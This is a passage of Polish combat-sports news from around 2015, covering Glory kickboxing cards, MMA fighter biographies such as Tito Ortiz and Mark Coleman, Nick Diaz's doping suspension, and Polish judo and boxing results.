stoczył remisowy pojedynek z Markiem Huntem. Kolejne dwa pojedynki to były dwie przegrane z Andrejem Arłouskim i Frankiem Mirem. 1 sierpnia 2015 roku Silva pokonał przez TKO Soa Palelei. 14 listopada 2015 roku Silva przegrał przez TKO z Mark Huntem na gali UFC 193.

Glory wraca do Europy

Organizacja Glory planuje swoje kolejne gale w Europie. Wydarzenia w Ameryce Północnej uwarunkowane były głównie względami finansowymi, jednak wśród kibiców ze Starego Kontynentu nie wywołały specjalnego entuzjazmu.

Tym razem nie zabraknie walk, które będą elektryzowały. Główne pojedynki gal Glory 25 i Glory 26 zapowiadają się niezwykle interesująco. Fanów czekają walki w kickboxingu na najwyższym poziomie, a ich stawką będą pasy mistrzowskie.

Petrosyan rusza do boju

Do Glory wraca Giorgio Petrosyan. Czy będzie to wielki powrót? Zawodnik z Włoch, ma również obywatelstwo ormiańskie, jest pierwszym fighterem w historii, który został dwa razy z rzędu mistrzem K-1 Max. Po raz ostatni dla organizacji Glory 29-latek walczył w listopadzie 2013 roku, kiedy to poniósł porażkę. Pogromcą Włocha okazał się Andy Ristie, który podczas gali w Nowym Jorku w trzeciej rundzie pozbawił swojego rywala szans na zwycięstwo. Lewy hak załatwił sprawę. W tym roku Petrosyan stoczył trzy walki i wszystkie wygrał. Ostatni występ to rywalizacja z Xu Yanem podczas Hero Legends. Włoch potraktował swojego rywala lewym kolanem, co zadecydowało o jego zwycięstwie w trzeciej rundzie.

Podczas gali Glory 25, która odbędzie się 6 listopada rywalem Petrosyana będzie Josh Jauncey. Urodzony w Londynie zawodnik to obecnie jeden z najbardziej utalentowanych fighterów. W ostatnim pojedynku Jauncey uporał się z Coulibaly'm Djime. Teraz będzie miał okazję sprawdzić się w rywalizacji z mocnym przeciwnikiem.

Stawką pojedynku „Robin van Roosmalen vs Sittichai Sitsongpeenong’ będzie pas mistrzowski Glory w kategorii 70kg. Holender to jeden z najlepszych, a przez wielu uważany za numer jeden, wagi lekkiej na świecie. Roosmalen nie znalazł pogromcy od dwóch lat. Ostatnim zawodnikiem, który znalazł sposób na 26-latka był Andy Ristie, jednak w tym roku Holender wziął rewanż na 33-latku urodzonym w Surinamie. W Dubaju obaj stoczyli wyrównany pojedynek, jednak po pięciu rundach sędziowie wskazali na Roosmalena. Teraz Holender stanie przed trudnym wyzwaniem. Sitsongpeenong to młody i efektowny fighter, który nie boi się rywalizacji z nikim. Taj stoczył w tym roku aż dziesięć pojedynków i tylko w jednym schodził pokonany z ringu. Lepszy od Sitsongpeenonga okazał się Dylan Salvador podczas gali Kunlun Fight 24 w Weronie.

Kickboxing wraca do Holandii

W końcu gala organizacji Glory zawita do Holandii. Wydarzenie odbędzie się 4 grudnia w Amsterdamie. Na Glory 26 dojdzie do dwóch pojedynków, których stawką będą pasy mistrzowskie.

Rico Verhoeven będzie bronił tytułu w wadze ciężkiej. Walka 26-letniego Holendra zapowiada się niezwykle interesująco, gdyż jego rywalem będzie Benjamin Adegbuyi. Do ich starcia doszło podczas Glory 22 w Lille. Wtedy triumfował Verhoeven, który wygrał decyzją sędziów. Jak będzie tym razem? Adegbuyi od ostatniego spotkania z Holendrem stoczył trzy walki. Wszystkie wygrał, a dwie z nich zakończył efektownie.

Pasa w kategorii 77kg będzie bronił Nieky Holzken. Rywal Holendra nie jest jeszcze znany, ale pewne jest, że stanie przed trudnym wyzwaniem. Holzken wygrał osiem pojedynków z rzędu.

KM

Trening medialny przed galą Imbiriada Fighters Night 5

Organizatorzy zapraszają do Rzeszowa w środę 21 października 2015 r. o godz. 15:00 na trening medialny poprzedzający galę.Trening promujący wydarzenie będzie wielką atrakcją dla osób odwiedzających i korzystających w tym dniu z JATOMI FITNESS Millenium Hall , które udostępnia nam swoje gościnne wnętrza i wspiera event. 

Trening odbędzie się w JATOMI FITNESS Millenium Hall ( poziom 2 ) w Rzeszowie, gdzie fani sportów walki będą mogli się spotkać z zawodnikami biorącymi udział w gali IMBIRIADA FIGHTERS NIGHT 5. Najlepsi z najlepszych, światowe sławy:

  • Iwona Nieroda – wielokrotna Mistrzyni Polski Low Kick, K-1, Full Contact, dwukrotna zawodowa Mistrzyni WAKO PRO; 
  • Janilson Tavares Lopes da Cruz – Mistrz Portugalii w Muay Thai, Mistrz Świata Muay Thai, zawodnik K-1 o przydomku "MALKRIADO";
  • Kamil Ruta – Mistrz Świata i zdobywca Pucharu Świata, V-ce Mistrz Europy, Mistrz Polski; 
  • Arkadiusz Kaszuba – Mistrz Świata, Mistrz Polski K-1 i Low Kick.

Zawodnicy zaprezentują zgromadzonej publiczności kilkuminutowe treningi pokazowe. Dla fanów i kibiców sportu trening będzie okazją do rozmów z gwiazdami, zdobycia autografu, czy zrobienia wspólnego zdjęcia. Na uczestników treningu oprócz wspaniałych emocji czekają również konkursy z atrakcyjnymi nagrodami. 

Trening rozpocznie się w środę o godz. 15.00 prezentacją i dynamiczną częścią trwającą do godz. 15:45, podczas której zaprezentują się zawodnicy biorący udział w gali. 

Następnie od godz. 15:45 – 16.30 będzie można stanąć na macie ramię w ramię i odbyć trening z utytułowanymi zawodnikami.

Gorąco zapraszamy fanów i sympatyków sportów walki oraz media!

21 października godz. 15:00 – 16:30

JATOMI FITNESS Millenium Hall, ul. Kopisto 1, Rzeszów

Tito Ortiz

Amerykański zapaśnik i zawodnik MMA urodzony 23 stycznia 1975 roku w Huntington Beach.  Jako student amatorsko trenował zapasy. Był wielokrotnym medalistą akademickich zawodów zapaśniczych. W 2000 roku zdobył brązowy medal na prestiżowych zawodach grapplerskich ADCC.  W MMA zadebiutował w maju 1997 roku, biorąc udział w turnieju UFC 13. W pierwszej rundzie tego turnieju wygrał z Wesem Albrittonem, ale w drugiej przegrał przez poddanie z Guyem Mezgerem. Nie zrażony tą porażką kontynuował swoją karierę w MMA, po pokonaniu Jerry Bohlandera i zwycięstwie w rewanżowej walce z Guyem Mezgerem, stanął do walki z mistrzem wagi półciężkiej UFC Frankiem Shamrockiem.  Przegrał jednak ten pojedynek przez techniczny nokaut. Po tym pojedynku Shamrock zdecydował się zakończyć karierę, wobec czego władze UFC zorganizowały w lipcu 2000 roku, walkę o wakujący pas mistrzowski i wyznaczył do niego Ortiza i najlepszego Brazylijskiego zawodnika Wanderleia Silvę. Ortiz wygrał decyzją sędziowską po pięciu zaciętych rundach. W następnych latach kilkakrotnie bronił pasa mistrzowskiego, pokonując min. Yukiego Kondo oraz Kena Shamrocka, przyrodniego brata Franka. W sierpniu 2003 roku stracił tytuł na rzecz byłego mistrza UFC wagi ciężkiej Randy’ego Couture’a, a następnej walce przegrał przez nokaut z Chuckiem Liddelem. W 2004 roku pokonał przez decyzję Patricka Cote oraz Vitora Belforta, po czym wycofał się z UFC na blisko półtora roku. Do UFC powrócił w lipcu 2006 roku pokonując przez decyzję Forresta Griffina. Następnie został trenerem jednej z drużyn w reality show The Ultimate Fighter 3. Drugim trenerem został Ken Shamrock, a po zakończeniu programu doszło do rewanżowej walki między Ortizem a Shamrockiem. Tito wygrał już w pierwszej rundzie przez techniczny nokaut, ale jego rywal nie zgadzał się z werdyktem i twierdził, że walka została zbyt szybko przerwana. Dlatego doszło do trzeciego starcia tych zawodników i znów lepszy okazał się Ortiz. W grudniu 2006 roku doszło do rewanżowej walki Ortiza z Chuckiem Liddelem, której stawką był pas mistrzowski wagi półciężkiej, jednak Tito ponownie przegrał przez nokaut. W lipcu 2007 roku zmierzył się z Rashadem Evansem. Odebrano mu punkt za trzymanie się klatki i walka zakończyła się remisem. Następnie poniósł dwie porażki przez decyzję sędziów na UFC 84 z Lyoto Machidą i na UFC 106 z Forrestem Griffinem. Na UFC 132 poddał przez duszenie gilotynowa Ryana Badera w pierwszej rundzie. Po zwycięstwie nad Baderem zanotował dwie porażki z rzędu, kolejno z Evansem i Antonio Rogerio Nogueira przez techniczny nokaut. Ostatnią walkę w kontrakcie oraz w karierze stoczył z Forrestem Griffinem. Ich trzecie starcie miało miejsce 7 lipca 2012 roku. Ortiz trzykrotnie posyłał rywala na deski w ciągu walki, ale to nie wystarczyło do zwycięstwa i ostatecznie przegrał na punkty. Po przegranej zapowiedział zakończenie kariery zawodnika MMA lecz po roku postanowił powrócić i związał się z konkurencyjną organizacją Bellator MMA. W debiucie 2 listopada 2013 roku miał stoczyć pojedynek z innym, byłym mistrzem UFC Quintonem Jacksonem, lecz 28 października uległ kontuzji szyi i musiał wycofać się z pojedynku. 17 maja 2014 roku został zestawiony z ówczesnym mistrzem Bellatora wagi średniej Rosjaninem Aleksandrem  Szlemienkom. Stawiany w roli faworyta Rosjanin nieoczekiwanie uległ Ortizowi który poddał go duszeniem rękoma w pierwszej rundzie. 15 listopada tego samego roku pokonał Stephana Bonnara na punkty na gali Bellator 131. 19 września 2015 roku przegrał przez poddanie z Liam McGeary. 

St. Pierre broni Diaza

Nick Diaz znalazł się na poważnym zakręcie. Jego kariera w MMA runęła w gruzach po tym jak został zawieszony na pięć lat za stosowanie niedozwolonych środków.

Tym samym 32-letni Amerykanin znalazł się pod ścianą. Komisja Sportowa Stanu Nevada nałożyła na Diaza surową karę, z którą sam zawodnik nie zgadza się. W swojej opinii nie jest odosobniony.

Ciężkie chwile

Całe życie Diaza zmieniło się 31 stycznia 2015, kiedy stoczył pojedynek z Andersonem Silvą. Pojedynek dwóch czołowych fighterów był długo wyczekiwany. Walka trwała trzy rundy, ale cały spektakl rozpoczął się po jej zakończeniu, a właściwie po ujawnieniu informacji, że badania wykazały obecność niedozwolonych substancji u obu zawodników. Świat MMA zadrżał.

Silva zapewniał, że to nieprawda i gotowy był na kolejne badania. Wizerunek „Spidera” legł w gruzach. Dla wielu był idolem i jednym z najlepszych fighterów. W jego organizmie wykryto drostanolon, temazepam i oksazepam. Brazylijczyk został zawieszony na rok. Z kolei na przypadek Diaza spoglądano nieco inaczej. 32-latek miał już wcześniej podobne doświadczenia i kolejny wybryk nie dziwił nikogo. Po prostu środowisko MMA miało świadomość, że w przypadku Diaza taki krok był możliwy. Diaz po raz trzeci został złapany za stosowanie marihuany.

Pięć lat, 165 tysięcy dolarów kary oraz koszty procesowe – to był prawdziwy cios dla Diaza. Gwiazdorowi UFC zawalił się świat. Diaz podkreślał, że dla MMA poświęcił wszystko.

St. Pierre wspiera Diaza

Okazuje się, że nie wszyscy odwrócili się od Amerykanina. Głos w sprawie zabrał były gwiazdor UFC Georges St-Pierre. Zawodnicy rywalizowali ze sobą w marcu 2013 roku. Lepszy okazał się Kanadyjczyk, który tym samym obronił pas wagi półśredniej.

Zdaniem St. Pierre kara dla Diaza jest zbyt surowa. – Sądzę, że pięć lat zawieszenia dla Diaza to zdecydowanie za dużo w porównaniu do sprawy Andersona Silvy albo innych sportowców, którzy zostali przyłapani na oszustwach. Wydaje mi się, iż Nick został użyty jako przykład dla innych z powodu jego osobowości i medialności – tłumaczy Kanadyjczyk.

W rozważaniach na temat Diaza pojawia się również kwestia testów, które przeszedł. 32-latek został przebadany trzykrotnie. W dwóch przypadkach wynik testu wskazywał na stosowanie przez niego zakazanych środków, jeden dał wynik negatywny. Testy były wykonywane w różnych miejscach. Dwie z nich w laboratoriach akredytowanych przez WADA, a jedna w innej placówce. Właśnie w tym ostatnim przypadku wynik okazał się pozytywny. Komisja nałożyła na Diaza surową karę i właśnie fakt nieuwzględnienia dwóch czystych próbek budzi duże wątpliwości.

W tej sprawie powiedziano już wiele. Jedni potępiają Diaza, a kolejni są gotowi go wspierać. St-Pierre oferuje swoją pomóc 32-latkowi. – Przed naszą walką padło wiele słów, ale wszystko odbywało się na sportowych zasadach. To już było i nie ma, co brać tego do siebie. Potrzebujemy takich postaci w sporcie jak Diaz. Chciałbym, żeby szybko wrócił. Jeśli mogę pomóc, bez pakowania się w kłopoty, chętnie to zrobię – zapewnia Kanadyjczyk.

KM

Mark Coleman

Amerykański zapaśnik i zawodnik MMA urodzony 20 grudnia 1964 roku w Freshmont.  Zapasy zaczął trenować jako nastolatek, a następnie kontynuował amatorską karierę zapaśniczą na studiach. Był mistrzem NCAA. Następnie został członkiem seniorskiej reprezentacji USA w stylu wolnym. W 1991 roku zdobył złoty medal igrzysk panamerykańskich oraz srebrny mistrzostw świata w kategorii wagowej do 100 kg. Na Igrzyskach Olimpijskich w Barcelonie w 1992 roku w tej samej kategorii wagowej zdobył siódme miejsce. Trzykrotny złoty medalista Mistrzostw Panamerykańskich. W 1996 roku rozpoczął swoją karierę w MMA, wygrywając turniej UFC 10. Dwa miesiące później wygrał  kolejny turniej UFC a w 1997 roku, po pokonaniu Dana Severna, został pierwszym mistrzem wagi ciężkiej UFC. Jeszcze w 1997 roku stracił tytuł mistrzowski na rzecz Maurice’a Smitha, a w kolejnych latach poniósł jeszcze dwie dotkliwe porażki z Pete’em Williamsem i z Pedro Rizzo. W 1999 roku zadebiutował w PRIDE FC, przegrywając przez poddanie z popularnym japońskim zawodnikiem , Nobuhiko Takadą. Następnie wygrał turniej Grand Prix 2000, pokonując kolejno Masaaki Satake, Akirę Shoji, Kazuyuki Fujitę i Ihora Wowczanczyna. Był to ostatni wielki sukces Colemana, który w kolejnych latach zaliczył serię przegranych z nowymi gwiazdami PRIDE w 2001 roku przegrał przez poddanie z Antonio Rodrigo Nogueirą, w 2004 roku do poddania zmusił go mistrz wagi ciężkiej Fiodor Jemieljanienko, a rok później został znokautowany przez Mirko Filipovicia. W 2006 roku starł się z jednym z najlepszych zawodników wagi średniej Mauricio Ruą. Rua który broniąc się przed obaleniem upadł tak niefortunnie że złamał rękę. Jednak Coleman tego nie zauważył , i dalej atakował krzyczącego z bólu Szoguna. W tedy na ring wtargnęli koledzy Ruy z klubu Chute Box z mistrzem wagi średniej Wanderleiem Silvą na czele i wdali się w bójkę z Colemanem i jego sekundantami. Po tym zajściu Coleman przeprosił Ruę, ale nie zostały one przyjęte, a Silva wyzwał do walki wszystkich członków klubu Hammer House. W październiku 2006 roku na pierwszej gali PRIDE w USA, Coleman ponownie stanął do walki z Jemieljanienką, jednak i tym razem przegrał przez poddanie. W marcu 2008 roku został włączony do Hali Sław UFC. Wkrótce potem, w sierpniu miał zmierzyć się z Brockiem Lesnarem, jednak wycofał się z tego pojedynku z powodu kontuzji.  Do rywalizacji powrócił w styczniu 2009 roku, gdy przegrał przez TKO w rewanżu z Ruą. Po kolejnej porażce w 2010 roku z rąk Randy’ego Couture’a władze UFC nie przedłużyly z Colemanem kontraktu. 

Kłys i Pogorzelec pojadą do Paryża

Zbliżają się kolejne zawody z cyklu Grand Slam w judo. Tym razem turniej zostanie rozegrany w Paryżu w dniach 17-18 października. We Francji wystąpią srebrne medalistki z mistrzostw świata w Astanie w starcie drużynowym – Katarzyna Kłys oraz Daria Pogorzelec.

Start w Paryżu będzie szansą na zwiększenie dorobku punktowego w klasyfikacji olimpijskiej. Oprócz dwóch pań we Francji zaprezentuje się również Łukasz Błach w kategorii 81kg.

Bez Ozdoby

W Paryżu miała wystartować Agata Ozdoba w kategorii 63kg, jednak reprezentantka Polski nie weźmie udziału w zawodach Grand Slam. Wszystko przez kontuzję kolana, której brązowa medalistka ubiegłorocznych mistrzostw Europy w Montpellier nabawiła się podczas Światowych Wojskowych Sportowych Igrzysk.

Ozdoba w Korei wywalczyła srebrny medal w starcie drużynowym, jednak po turnieju musi zadbać o swoje zdrowie. W pojedynku z Marianą Silvą Polka skręciła kolano. Niewykluczone, że konieczna będzie operacja. Teraz przed Ozdobą rehabilitacja, która pozwoli jej dojść do pełnej sprawności i wrócić na tatami.

Polka cały czas liczy się w walce o kwalifikację olimpijską. Na pewno nie wystąpi w Paryżu i wiele wskazuje na to, że zabraknie jej również w kolejnym turnieju Grand Slam, który odbędzie się w Abu Zabi.

Powalczą o punkty

Podczas Igrzysk Wojskowych z dobrej strony pokazała się Daria Pogorzelec w kategorii 78kg. Judoczka Wybrzeża Gdańsk indywidualnie wywalczyła srebro. Lepsza od Polki okazała się tylko Anamari Velensek. Do swojej kolekcji zawodniczka z Gdańska dorzuciła srebrny medal w rywalizacji drużynowej. Start w Paryżu będzie kolejnym wyzwaniem, przed którym stanie Pogorzelec. Punkty zdobyte w zawodach Grand Slam mogą znacznie przybliżyć ją do startu w Rio de Janeiro.

W drodze na Igrzyska Olimpijskie jest również Katarzyna Kłys (70kg). Polka musi gromadzić kolejne punkty, gdyż konkurencja nie śpi. W ostatnim starcie judoczka Polonii Rybnik stanęła na podium. Podczas Grand Prix w Taszkiencie Polka sięgnęła po brązowy medal. Wszystko wskazuje, że Kłys jest na dobrej drodze i jeśli w kolejnych startach będzie prezentowała równą formę to o wyjazd do Rio może być spokojna.

Pogorzelec i Kłys są w komfortowej sytuacji, z kolei Łukaszowi Błachowi punkty są bardzo potrzebne. Startujący w kategorii 81kg zawodnik balansuje na granicy. W marcowym zestawieniu był na 22. pozycji, która daje awans na igrzyska. Wystarczy mały spadek, aby Błach do Rio nie pojechał. Pełna koncentracja i kolejne punkty – to jest w tej chwili najważniejsze.

W Paryżu wystąpi ponad pięciuset judoków. Zaprezentuje się również zawodnik z Seszeli.

KM

Wilder czeka na Powietkina, a potem Kliczko?

Deontay Wilder jest głodny walki. Mistrz świata WBC w wadze ciężkiej chce zmierzyć się z Aleksandrem Powietkinem, jednak ten przygotowuje się do pojedynku z Mariuszem Wachem.

Amerykanin kontynuuje zwycięską passę. W tym roku zdobył pas WBC i dwukrotnie go obronił, ale wszystko wskazuje na to, że na tym nie koniec.

Nie będzie czekał?

Akcje Wilder wzrosły po wygranej walce z Bermane Stivernem, której stawką był pas WBC. Wielu ekspertów nie wierzyło w możliwości Amerykanina, choć ten w ponad trzydziestu pojedynkach kładł swoich rywali na deski. Po zdobyciu pasa to Wilder rozdaje karty.

Ameryka odżyła. Kibice boksu ze Stanów długo musieli czekać na swojego mistrza w kategorii królewskiej i w końcu Wilder spełnił ich marzenia. Z czasem stał się roszczeniowy. Nie jest typem pokornego baranka, a boksera, który wie, czego chce i zna swoją wartość. Statystyki mistrza świata WBC są imponujące. Wygrał wszystkie walki, a tylko jedna zakończyła się rozstrzygnięciem sędziowskim. W trzydziestu czterech przypadkach jego pojedynki kończyły się przed czasem.

Ostatnio Wilder stoczył walkę z Johannem Duhaupasem. Francuzowi nie dawano większych szans, jednak wytrwał w ringu z mistrzem jedenaście rund, choć w tym czasie nie był w stanie zaprezentować swoich atutów. Kto będzie kolejnym przeciwnikiem Wildera? Aleksander Powietkin jest pretendentem do tytułu mistrza świata wagi ciężkiej i obowiązkowym przeciwnikiem dla Amerykanina. Jednak 4 listopada Rosjanin zmierzy się z Mariuszem Wachem. Swoją drogą Polak w końcu stoczy walkę z mocnym rywalem, która określi jego pozycję w wadze ciężkiej. Po rywalizacji z Wachem Powietkin będzie mógł myśleć o konfrontacji z Wilderem. 

Pojawia się problem, gdyż Amerykanin nie zamierza czekać. Powietkin musi przygotować się do ewentualnej walki, ale najpierw konieczne są negocjacje. Nie wiadomo, ile potrwają i jak szybko uda się osiągnąć porozumienie. Trudno określić, czy walka zostałaby zorganizowana jeszcze w tym roku. – Oni mnie po prostu wstrzymują. Nie mogę cały czas siedzieć i czekać. W końcu jestem mistrzem świata i w takim wypadku to ja powinienem decydować, kiedy i gdzie będę walczył. Powietkin stoczy swój pojedynek w listopadzie i nie będzie od razu gotowy do rywalizacji, a ja chcę walczyć. Liczę na ten pojedynek i go wyczekuję – powiedział mistrz świata WBC.

Potem Kliczko?

W wadze ciężkiej jest dwóch twardych gości, którzy mogą poszczycić się mianem mistrza. Władimir Kliczko to klasa sama w sobie i ogromne doświadczenie. Wilder od niedawna w swoich rękach dzierży tytuł.

Kliczko przygotowuje się do pojedynku z Tysonem Fury'm, który odbędzie się 28 listopada. Brytyjczyk jest niepokorny i zapowiada swój triumf. Wielki Fury chce zaprezentować swoje możliwości, a zarazem zakończyć panowanie Ukraińca. W przypadku wygranej Kliczko kolejnym jego rywalem mógłby być Wilder, który takiej możliwości nie wyklucza. 

Amerykanin chce zdominować wagę ciężką i coraz poważniej o tym mówi. Jak na razie musi wykazać się cierpliwością. W tym roku stoczył już trzy walki.

KM

Browarski spełnił oczekiwania

Gala Spartan Fight w Chorzowie stała pod znakiem pojedynków w MMA, K-1 oraz muay thai. W walce wieczoru zaprezentował się Maciej Browarski.

W Chorzowie widzowie mogli obejrzeć dziesięć pojedynków, w których nie brakowało ciekawych akcji. Niektóre walki kończyły się szybko i niezwykle efektownie.

Wielki Litwin niestraszny

Maciej Browarski (93kg) chciał wrócić na właściwe tory. 34-latek w marcu podczas gali FEN 6 przegrał pojedynek z Marcinem Zontkiem. W ciągu dwóch lat Browarski stoczył dziewięć walk, z których cztery zakończyły się jego porażkami. Można powiedzieć, że zawodnik walczył w kartkę, jednak w Chorzowie był faworytem.

Rywalem Polaka był Rokas Stambrauskas. Przed pojedynkiem padało wiele pytań dotyczących dyspozycji Litwina, który górował nad Browarskim warunkami fizycznymi. W pierwszej rundzie Stambrauskas starał się zaskoczył popularnego „Sowę” i posłał w jego stronę kilka ciosów. Browarski musiał uważać, gdyż poczuł siłę Litwina. Jednak sprzymierzeńcem Polaka był czas. Stambrauskas ostatnimi czasy rzadko wchodził na arenę walki i dały o sobie znać jego problemy kondycyjne. W drugiej rundzie przewagę zyskał Browarski. Polski fighter sprowadził walkę do parteru i zdominował Litwina. Stambrauskas próbował duszenia gilotynowego, jednak doszło do czegoś niespodziewanego. Świetnie w tej sytuacji odnalazł się Browarski, który nie poddał się i był aktywny. 34-latek przyduszał swojego rywala ramieniem.

Do akcji wkroczył sędzia. Okazało się, że Litwin nie jest w stanie kontynuować rywalizacji. Strambrauskas „odpłynął, a Browarski mógł wznieść ręce w geście triumfu. Polak zanotował dwunastą wygraną w karierze.

Wygrana Królika

Michał Królik zaprezentował się w formule K-1 w kategorii 60kg, gdzie jego rywalem był Jan Szajko. Zawodnik Paco Team Katowice zdecydowanie rozpoczął pojedynek. Królik był aktywniejszy i zadawał więcej ciosów. W kolejnych rundach walka wyrównała się, ale znakomity początek dał fighterowi z Katowic wygraną. W walce na zasadach muay thai Adrianna Mazur (58kg) na punkty pokonała Katarinę Babisovą.

Wracamy do MMA. Do dwóch ciekawych pojedynków doszło w kategorii 77kg. Rafał Lassota szybko uporał się z Remigiuszem Rajwą. Już w pierwszej rundzie założył rywalowi kimurę i chorzowianin musiał odklepać. Michał Labus szukał możliwości zaskoczenia swojego przeciwnika. W końcu w trzeciej rundzie efekt dało duszenie zza pleców. Robert Michalik musiał się poddać.

Maciej Surma stoczył pojedynek w kategorii 93kg z Mariuszem Karskim. Zawodnik trenujący w klubie Gracie Barra Chorzów niemal do perfekcji opanował jiu-jitsu. Surma szukał możliwości, aby zaprezentować swoje atuty. Nie musiał długo czekać. Po siedemdziesięciu sekundach miał rywala „na widelcu”. Walka toczyła się w parterze i chwila nieuwagi sprawiła, że Karski znalazł się w sytuacji bez wyjścia. Surma założył rywalowi trójkąt nogami, który okazał się skuteczny i zapewnił mu wygraną.

KM

DOKUMENT: Historia pewnego wojownika.

Zapraszamy do obejrzenia filmu dokumentalnego o federacji Fighters Night. We wrześniu tego roku nasza telewizja odwiedzila z kamerami Wojciecha Wiśniewskiego i jego ekipę realizacyjną Fighters Night.

Fighters night to zawodowe gale kickboxingu w najbardziej popularnej formule K-1. Film opowiada o początkach Fighters Night o problemach w organizacji gal ale i o samym kickboxingu w Polsce. Naszej telewizji udało sie porozmawiać ze wszystkimi osobami, które miały wpływ na dzisiejszy wizerunek federacji Fighters Night.

Dowiecie się zatem skąd nazwa Fighters Night, jak powstał pomysł gal oraz, że na początku nie były to gale K-1 a następnie przechodzimy przez organizację, marketing, sponsoring. Dlaczego jedni organizują gale w halach sportowych a inni w ekskluzywnych hotelach. Fakty i mity o polskim kickboxingu.

Jednym słowem zaparaszamy do oglądania.

[kod]

Portugalskie zmagania Furmanek

W Lizbonie odbyły się kolejne zawody z cyklu Pucharu Świata w judo. Polakom nie udało się sięgnąć po medale, choć jedna z naszych zawodniczek była blisko podium.

Z dobrej strony w Portugalii pokazała się Katarzyna Furmanek w kategorii +78kg, która zajęła piątą pozycję. Do szczęścia zabrakło niewiele.

Podium w zasięgu

Katarzyna Furmanek była w tym sezonie po raz kolejny o krok od odniesienia sukcesu. Judoczka udanie rozpoczęła tegoroczne zmagania na tatami. Zawodniczka reprezentująca barwy AZS AWFiS Gdańsk okazała się najlepsza podczas turnieju European Open w Pradze. Furmanek triumfowała również podczas zawodów w Belgii, a w Pucharze Świata w Casablance była druga. Później przyszedł kryzys, który przełożył się na brak medali w startach indywidualnych podczas Igrzysk Europejskich w Baku oraz mistrzostw świata w Astanie. Z Kazachstanu judoczka przywiozła jednak srebrny medal wywalczony w rywalizacji drużynowej.

W Lizbonie Furmanek nawiązała do dobrych startów z początku roku. Do medalu zabrakło niewiele. Polka miała szansę na zdobycie brązowego medalu, jednak w decydującym pojedynku musiała uznać wyższość reprezentantki Holandii – Tessie Savelkouls. Łącznie Polka stoczyła w Portugalii cztery walki, z których dwie zakończyły się jej sukcesem.

W Lizbonie startowały również dwie inne reprezentantki Polski, jednak bez powodzenia. Już w eliminacjach z turnieju odpadły Karolina Pieńkowska (52kg) oraz Anna Borowska (57kg).

Szwarnowiecki walczył o brąz

W Pucharze Świata w Glasgow zaprezentował się Damian Szwarnowiecki, który rywalizował w kategorii 73kg. Polak pokazał się z dobrej strony i był o krok od medalu.

Szwarnowiecki podczas zawodów w Glasgow spotkał się z Andreą Regisem. Polak rywalizował z Włochem kilkukrotnie. W listopadzie 2012 roku Szwarnowiecki pokonał Regisa w finale młodzieżowych mistrzostw Europy U-23. Kolejne spotkanie z włoskim judoką było mało przyjemne dla naszego zawodnika. Szwarnowiecki rywalizował z Regisem podczas mistrzostw świata w Budapeszcie w potyczce drużynowej. Występ ten zakończył się dla polskiego judoki pechowo. Szwarnowiecki doznał poważnej kontuzji kolana, która wyeliminowała go ze startów na rok. Polak zrobił wszystko, aby dojść do pełnej sprawności i wrócić na tatami.

W Glasgow po raz kolejny miał okazję zmierzyć się z Regisem, którego pokonał, co otworzyło mu drogę do walki o medale. Polak triumfował w trzech pojedynkach i z nadziejami przystępował do półfinału. Holender Sam Van’T Westende pozbawił Szwarnowieckiego nadziei na walkę o złoto. Polakowi pozostał pojedynek o brązowy medal, w którym spotkał się z Jose Fernandesem. Portugalczyk nie kombinował, lecz szukał sposobu jak rozprawić się z przeciwnikiem. W końcu znalazł sposób na Szwarnowieckiego i wygrał przez ippon. Polak w Glasgow zajął piątą lokatę.

KM

Wyprawa bez zdobyczy

Mistrzostwa świata w boksie zakończyły się już dla naszych zawodników. W Dausze żadnemu z naszych reprezentantów nie udało się sięgnąć po medal.

Światowy czempionat był zarazem szansą na wywalczenie kwalifikacji na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. W większości przypadków jedynie miejsce na podium gwarantowało bilet do Brazylii.

Filipińczyk zatrzymał Jagodzińskiego

Już wcześniej było wiadomo, że marzeń o uzyskaniu kwalifikacji olimpijskiej w Dausze nie spełnią Tomasz Jabłoński (75kg) i Igor Jakubowski (91kg), którzy odpadli z rywalizacji odpadli w 1/8 finału. Nadzieje wiązano ze startem Dawida Jagodzińskiego w kategorii 49kg.

Jednak Polak od początku miał świadomość, że w ćwierćfinale stanie przed trudnym zadaniem. Rogen Ladon to wicemistrz Azji. Z pewnością ta informacja nie wzbudza większych emocji i nie powoduje u odbiorców strachu, jednak Filipińczyk zaimponował na mistrzostwach świata. Ladon wyeliminował z rywalizacji rozstawionego z numerem jeden Joselito Velasqueza. Tym samym stał się jednym z faworytów do medalu w wadze papierowej.

Jagodziński miał świadomość stawki rywalizacji. Aby uzyskać awans na igrzyska w Rio de Janeiro musiał w Dausze awansować do finału. Od początku pojedynku Polak starał się pokazać Filipińczykowi, że jest gotowy podjąć wyzwanie. Ladon miał dodatkowy atut w postaci wyjątkowego wsparcia. Z trybun wicemistrza Azji dopingował sam Manny Pacquiao. Filipińczyk prezentował się lepiej w ringu, co przekładało się na punkty wpisywane przez sędziów w ich karty. Ladon dobrze pracował w ringu, zadawał większą ilość ciosów, które osiągały cel.

Sędziowie nie mieli wątpliwości, kto zasłużył na zwycięstwo. Mimo ambitnej postawy Jagodziński musiał pogodzić się z porażką. Wszyscy trzej sędziowie byli jednogłośni i punktowali tak samo -30:27 na korzyść Ladona.

Trzeba czekać

Nie pozostaje nic innego. Marzenia o starcie na Igrzyskach Olimpijskich w Rio de Janeiro nadal trwają. Nasi bokserzy będą mieli okazję na wywalczenie kwalifikacji olimpijskiej w kolejnych turniejach.

Po raz kolejny mistrzostwa świata kończą się dla polskich pięściarzy porażką. Biało-czerwoni nadal muszą czekać na zdobycz medalową podczas światowego czempionatu. Ostatnim zawodnikiem, który stanął na podium mistrzostw świata był Aleksy Kuziemski. W 2003 roku w Bangkoku Polak sięgnął po brązowy medal w kategorii 81kg.

Do startu w Dausze biało-czerwoni przystępowali z dużymi nadziejami. W tym roku po srebrne medale na mistrzostwach Europy sięgnęli Tomasz Jabłoński i Igor Jakubowski. Bokser SAKO Gdańsk niejednogłośnie na punkty przegrał z Hindusem Vikashem Krishanem. Z kolei Jakubowski musiał uznać wyższość Geworgija Manukiana. Ukrainiec to srebrny medalista tegorocznych Igrzysk Europejskich. Tym razem Jagodziński osiągnął lepszy wynik od swoich kolegów. W Samokowie zatrzymał się na ćwierćfinale, a w Dausze to osiągnięcie okazało się najlepszym wynikiem polskich kadrowiczów.

KM

Brzozowski blisko podium w Korei

Na Światowych Wojskowych Igrzyskach Sportowych w południowokoreańskim Mungyeong zaprezentowali się nasi zapaśnicy. W stylu wolnym najlepiej zaprezentował się Krystian Brzozowski w kategorii 74kg. Polak był blisko podium.

